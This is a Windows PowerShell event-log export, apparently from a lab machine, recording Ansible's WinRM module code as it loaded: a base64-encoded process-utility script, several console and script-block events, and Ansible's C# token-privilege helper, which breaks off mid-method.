"IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA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ICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSwgQmVzdEZpdE1hcHBpbmcgPSBmYWxzZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBXU3RyKV0KICAgICAgICAgICAgICAgIHN0cmluZyBscEFwcGxpY2F0aW9uTmFtZSwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAgICAgICAgICAgIHN0cmluZ1tdIGNtZGxpbmVQYXJ0cyA9IHN0cnB0cnMuU2VsZWN0KHMgPT4gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShzKSkuVG9BcnJheSgpOwoKICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChyZXQpOwoKICAgICAgICAgICAgcmV0dXJuIGNtZGxpbmVQYXJ0czsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNlYXJjaFBhdGgoc3RyaW5nIGxwRmlsZU5hbWUpCiAgICAgICAgewogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIHNiT3V0ID0gbmV3IFN0cmluZ0J1a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JlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWxlU3RyZWFtKHN0ZG91dF9yZWFkLCBGaWxlQWNjZXNzLlJl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m9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIG
ScriptBlock ID: b48db8c7-6914-40bb-b143-1cb6aa0fca94
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2166 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 864 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0001-ba0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2165 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 4972 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0003-150c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 5064 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2164 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 4112 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0003-150c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2163 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 4972 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0003-150c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
